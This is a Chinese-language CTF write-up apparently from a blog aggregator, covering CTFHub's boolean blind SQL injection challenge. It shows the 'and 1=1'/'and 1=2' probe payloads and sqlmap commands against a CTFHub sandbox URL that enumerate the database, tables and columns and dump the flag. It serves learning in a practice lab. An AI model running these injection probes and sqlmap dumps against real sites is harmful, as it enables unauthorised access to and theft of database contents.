CTFHub | 布尔盲注

news/2024/5/19 21:36:20 标签: web安全, CTF, http

0x00 前言

        CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。

        

        

0x01 题目描述

布尔盲注:

        (无)

https://img-blog.csdnimg.cn/8cd233b6de734452a47192ccf36bbb5f.png" width="1200" />
网页显示内容

        

        

0x02 解题过程

        根据网页显示内容输入1进行测试,此题可能存在 SQL 注入。构造 payload 验证是否属于整数型注入,确定此题为整数型注入。使用工具 sqlmap 爆出数据库名,查看数据库名中的表发现一个可疑的表名为 flag 。查看 flag 表名的字段为 flag 。检查字段中的数据发现此题 flag 。

        

根据网页显示内容输入1进行测试,发现此题可能存在SQL注入

https://img-blog.csdnimg.cn/a219479966284a28acddaef271a6a6ab.png" width="1200" />

        
在URL末尾使用'and 1=1'和'and 1=2'验证是否属于整数型注入

https://img-blog.csdnimg.cn/2480c58d512040f09c3e85de6d4ad706.png" width="1200" />

#payload
and 1 = 1
and 1 = 2

        

'and 1=1'语句正常执行,回显正常

https://img-blog.csdnimg.cn/3089e662d07d47849a6915a6b506fb61.png" width="1107" />

and 1=1

        

'and 1=2'语句正常执行,回显出错,说明此题存在SQL整数型注入

https://img-blog.csdnimg.cn/e43c8d171cfb45359ff89868b28f0b70.png" width="1103" />

and 1=2

        

使用sqlmap工具爆出数据库名和缓存页面数据,得到数据库名sqli

https://img-blog.csdnimg.cn/bc3471a5c3d34d22b645f815dcec02ea.png" width="1200" />

python3 sqlmap.py -u http://challenge-b7ba99b679c4cbfa.sandbox.ctfhub.com:10800/?id=1 --current-db

        

爆出刚才获得的数据库名sqli的表名,发现一个名为flag的表比较可疑

https://img-blog.csdnimg.cn/fc3dcf38763e46bc91c48423e3b31679.png" width="1200" />

python3 sqlmap.py http://challenge-b7ba99b679c4cbfa.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables

        

爆出flag表的字段

https://img-blog.csdnimg.cn/aab615d3a8ea45c88f28439e8efea846.png" width="1200" />

python3 sqlmap.py http://challenge-b7ba99b679c4cbfa.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns

        

查看字段中的数据,发现此题flag

https://img-blog.csdnimg.cn/12b7e966cb794e2fad7c65e117ddfadc.png" width="1200" />

python3 sqlmap.py -u http://challenge-b7ba99b679c4cbfa.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump --batch

        

        

0x03 布尔盲注

布尔类型(Boolean type)

布尔类型只有两个值,True 和 False。通常用来判断条件是否成立。计算机里的一种数据类型,一般用于逻辑运算和比较运算。

        

盲注

盲注是指在SQL注入过程中,SQL语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

  • web页面返回True 或者 false,构造SQL语句,利用and,or,not等关键字

        

        

0x04 总结

文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。


http://www.niftyadmin.cn/n/1873.html

相关文章

TypeScript接口——interface

目录 一、接口概述: 二、接口类型介绍: 1、属性接口: 2、 函数接口: 3、可索引接口: (1)可索引接口约束数组示例: (2) 可索引接口约束对象示例&#xf…

【论文翻译】使用变更数据捕获方法通过提取-转换-加载过程实时更新数据仓库

Real Time Data Warehouse Updates Through Extraction-Transformation-Loading Process Using Change Data Capture Method DOI目录1 介绍2 相关工作2.1 现有系统当前变化数据捕获方法3 方法/建议的系统3.1 时间戳3.2 使用时间戳修改日期3.3 Attunity 工具复制3.4 使用增量负载…

数据结构与算法:稀疏数组(java)

稀疏数组 需求案例 常见五子棋程序中,有黑子和蓝子棋子,使用二维数组来表示 0表示默认值,可以发现的是记录了很多没有意义的数据。那么我们思考,如何能够把数据记录优化至最小呢。 介绍 压缩条件: 原数组中存在大…

数据库事务四大特性-ACID(原子性、一致性、隔离性、持久性)

事务四大特性 特性简介 事务四大特性主要是:原子性(Atomicity)、一致性(Consistency)、隔离性(Isolation)、持久性(Durability)。 特性详解 原子性(Atomi…

window10远程桌面控制Ubuntu系统

Windows操作系统作为全球使用最多的个人操作系统,在我们身边随处可见,但放眼各类电子设备的操作系统,windows并不是一家独大,服务器系统大多基于Linux系统开发、手机操作系统几乎都是安卓、更不用说还有苹果的iOS、树莓派、Ubuntu…

死磕JAVA10余年,呕心整理出了核心知识点已经做成PDF,无私奉献

前言: 想在面试、工作中脱颖而出?想在最短的时间内快速掌握 Java 的核心基础知识点?想要成为一位优秀的 Java 工程师?本篇文章能助你一臂之力! 目前正值招聘求职旺季,很多同学对一些新技术名词都能侃侃而…

力扣 215. 数组中的第K个最大元素

题目来源:https://leetcode.cn/problems/kth-largest-element-in-an-array/ 大致题意: 找出未排序数组中第 k 大的元素 思路 如果要找出数组中第 k 大的元素,最简单的方法就是直接排序,然后按照索引取出第 k 大的元素即可 不过…

【AGC】iOS的applink的回调没反应问题分析

问题背景 在 iOS平台集成AGCAppLinking是遇到了问题和疑惑。提问如下: 使用universallink 或者 url schema的app link都能拉起app,但是判断是否app link返回false,applink的回调没反应? 1 创建了相关的iOS 项目,并创…